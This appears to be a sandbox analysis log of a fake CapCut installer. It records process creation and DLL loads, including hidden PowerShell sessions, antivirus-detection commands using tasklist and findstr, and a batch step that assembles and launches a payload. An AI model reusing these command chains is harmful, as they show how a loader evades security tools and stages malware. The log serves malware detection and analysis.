      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe""
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe "C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe"
      Source: C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Bright Bright.cmd & cd & Bright.cmd
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 530420
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "Autos" Pupils
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Realty + ..\Toys + ..\Ja + ..\Titans + ..\Victoria + ..\Healthy q
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\530420\Classes.com Classes.com q
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\poikfwdnmyoitatx" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1124 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "chcp"Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\poikfwdnmyoitatx" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1968 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\poikfwdnmyoitatx" --mojo-platform-channel-handle=2136 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe""Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\poikfwdnmyoitatx" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1124 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2Jump to behavior
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcpJump to behavior
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe "C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe"
      Source: C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Bright Bright.cmd & cd & Bright.cmd
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 530420
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "Autos" Pupils
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Realty + ..\Toys + ..\Ja + ..\Titans + ..\Victoria + ..\Healthy q
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\530420\Classes.com Classes.com q
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: dwmapi.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: oleacc.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: ntmarta.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: shfolder.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: iconcodecservice.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: windowscodecs.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: windows.staterepositoryps.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: ntshrui.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: ffmpeg.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: uiautomationcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: winmm.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dwrite.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dhcpcsvc.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: powrprof.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: umpdc.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: uxtheme.dllJump to behavior
